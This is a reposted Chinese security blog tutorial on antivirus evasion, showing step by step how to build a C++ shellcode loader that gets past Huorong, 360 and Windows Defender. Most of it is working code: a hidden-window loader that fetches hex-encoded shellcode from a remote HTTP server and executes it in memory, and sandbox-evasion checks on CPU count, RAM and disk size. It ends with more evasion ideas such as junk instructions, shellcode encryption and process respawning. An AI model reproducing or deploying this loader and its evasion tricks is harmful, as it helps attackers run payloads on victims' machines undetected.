一种C++免杀思路 过火绒、360、windows defender
2022-10-7 13:53:17 Author: moonsec(查看原文) 阅读量:273 收藏

一种C++免杀思路 过火绒、360windows defender

1简介

一种C++免杀方式,过火绒、360windowsdefender

2正文

开始(一个C++加载器)

下面具体举例一个C++shellloader

#include <windows.h>

#include <stdio.h>

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口

unsigned char shellcode[] = "\xfc\x48\x83...";

void main()

{

    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (Memory == NULL) { return; }

    memcpy(Memory, shellcode, sizeof(shellcode));

    ((void(*)())Memory)();

}

本文依旧是从一个最简单的例子开始

依旧为烂大街的代码,一定过不了免杀的,今天就这里开始一步一步过掉defender

前置基础

  • C++ http 通信编程

  • C++ win32 基础编程

首先从火绒开始

个人的排名,三个杀毒比较,windowsdefender >> 360> 火绒

首先将unsignedchar shellcode[]置为空,尝试编译成exe进行扫描

unsignedcharshellcode[]="";

  • 这里思路就比较简单了, 提供一个思路,分离免杀,将shellcode放置到apache服务器,尝试动态加载

  • 于是编写代码如下

#include <Windows.h>

#include <wininet.h>

#include <string>

#include <stdio.h>

#include <iostream>

#include <algorithm>

#include <vector>

#include <cstdlib>// Header file needed to use rand

using namespace std;

#pragma comment(lib, "wininet.lib")

#define BUF_SIZE 20480

#pragma warning(disable:4996)

LPSTR GetInterNetURLText(LPSTR lpcInterNetURL, char* buff);

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口

LPSTR GetInterNetURLText(LPSTR lpcInterNetURL, char* buff);

int main()    

{

    DWORD dwOldProtect; // 内存页属性

    //远程获取 shellcode 分离免杀

    char buf[BUF_SIZE] = { 0 };

    char url[MAX_PATH] = "http://192.168.6.237/test.txt";

    GetInterNetURLText(url, buf);

    string temp_buf = buf;

    //shellcode处理

    unsigned char* shellcode = (unsigned char*)calloc(strlen(buf) / 2, sizeof(unsigned char));

    for (int i = 0; i < temp_buf.size() / 4; ++i) {

        shellcode[i] = std::strtoul(temp_buf.substr(i * 4 + 2, 2).c_str(), nullptr, 16);

    }

    LPVOID run = VirtualAlloc(NULL, strlen(buf) / 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (run == NULL) { return 0; }

    //创建可读可写内存

    memcpy(run, shellcode, strlen(buf) / 2); 

    //内存添加可执行权限

    VirtualProtect(run, strlen(buf) / 2, PAGE_EXECUTE, &dwOldProtect); 

    ((void(*)())run)(); //执行

    return 0;

}

LPSTR GetInterNetURLText(LPSTR lpcInterNetURL, char* buff)

{

    HINTERNET hSession;

    LPSTR lpResult = NULL;

    hSession = InternetOpen(L"WinInet", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    __try

    {

        if (hSession != NULL)

        {

            HINTERNET hRequest;

            hRequest = InternetOpenUrlA(hSession, lpcInterNetURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);

            __try

            {

                if (hRequest != NULL)

                {

                    DWORD dwBytesRead;

                    char szBuffer[BUF_SIZE] = { 0 };

                    if (InternetReadFile(hRequest, szBuffer, BUF_SIZE, &dwBytesRead))

                    {

                        RtlMoveMemory(buff, szBuffer, BUF_SIZE);

                        return 0;

                    }

                }

            }

            __finally

            {

                InternetCloseHandle(hRequest);

            }

        }

    }

    __finally

    {

        InternetCloseHandle(hSession);

    }

    return lpResult;

}

  • ok,这里火绒就相对比较容易的免杀掉了

测试下360

  • 同样的代码,测试下360的效果如何

  • 这次比较幸运,大多数其实360还要加点其他的点子的

测试下defender

  • 同样的代码,测试下defender的效果如何

  • 静态扫描ok,还可以

  • 动态的话,还可以当个炮灰马使用

3深入一下

简单总结下,当下的进展

  • 火绒过

  • 360

  • windows defender 静态过,动态运行两条命令后GG(行为检测)

动态杀毒的基本原理这里就简单说一下,无非就是程序动态运行时进行监控(程序行为、cpu占用、内存占用等等),其实继续深入绕过defender的思路还会有很多,之前讲过花指令的作用,这里换一个思路,添加运行时判断

  // check cpu 核心
    SYSTEM_INFO systemInfo;
    GetSystemInfo(&systemInfo);
    DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
    if (numberOfProcessors < 2)
    {
        // clean code
        int i = 1 + 1;
        cout << i << endl;
        return 0;
    }
    // check RAM 内存
    MEMORYSTATUSEX memoryStatus;
    memoryStatus.dwLength = sizeof(memoryStatus);
    GlobalMemoryStatusEx(&memoryStatus);
    DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
    if (RAMMB < 2048)
    {
        
        // clean code
        int i = 1 + 2;
        cout << i << endl;
        return 0;
        
    }
    // check HDD 磁盘空间
    HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    DISK_GEOMETRY pDiskGeometry;
    DWORD bytesReturned;
    DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
    DWORD diskSizeGB;
    diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
    if (diskSizeGB < 50) 
    {
        // clean code
        int i = 1 + 3;
        cout << i << endl;
        return 0;
    }
   
    // 分配内存 干扰免杀
    void* block = malloc(1024 * 1024 * 1024 * 1000);
    if (block)
    {
        void* pp = block;
    }

这里相对稳定了很多,不会执行命令就kill

再深入一下

当下的话确实通过了defender的杀毒检测,但预测相对会不够稳定,这里依旧提供一些思路,同时也可以将几个思路合并一起使用

  • 比如在代码的基础上添加花指令

  • 比如对shellcode进行加解密操作等。

  • 又比如是不是可以每次执行一条语句后kill掉自己然后拉起一个新的进程,获取新的shellcode

  • ......

4写在最后

免杀学习过程中本身学习的就是一个思路,随着免杀的公开->杀毒的提升,免杀的难度也会随之提升

切记,免杀学的是思路,不是具体的方法,本文的也只是提供了一个思路,感谢阅读。

5关注公众号

公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

觉得文章对你有帮助 请转发 点赞 收藏


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653583624&idx=1&sn=5b0585de5027890a10adcf86a5332278&chksm=811b6f4ab66ce65cb199d8b4a33f91afb44dddccd068d927d5d4fdf195a5c9fb860671d24ee1#rd
如有侵权请联系:admin#unsafe.sh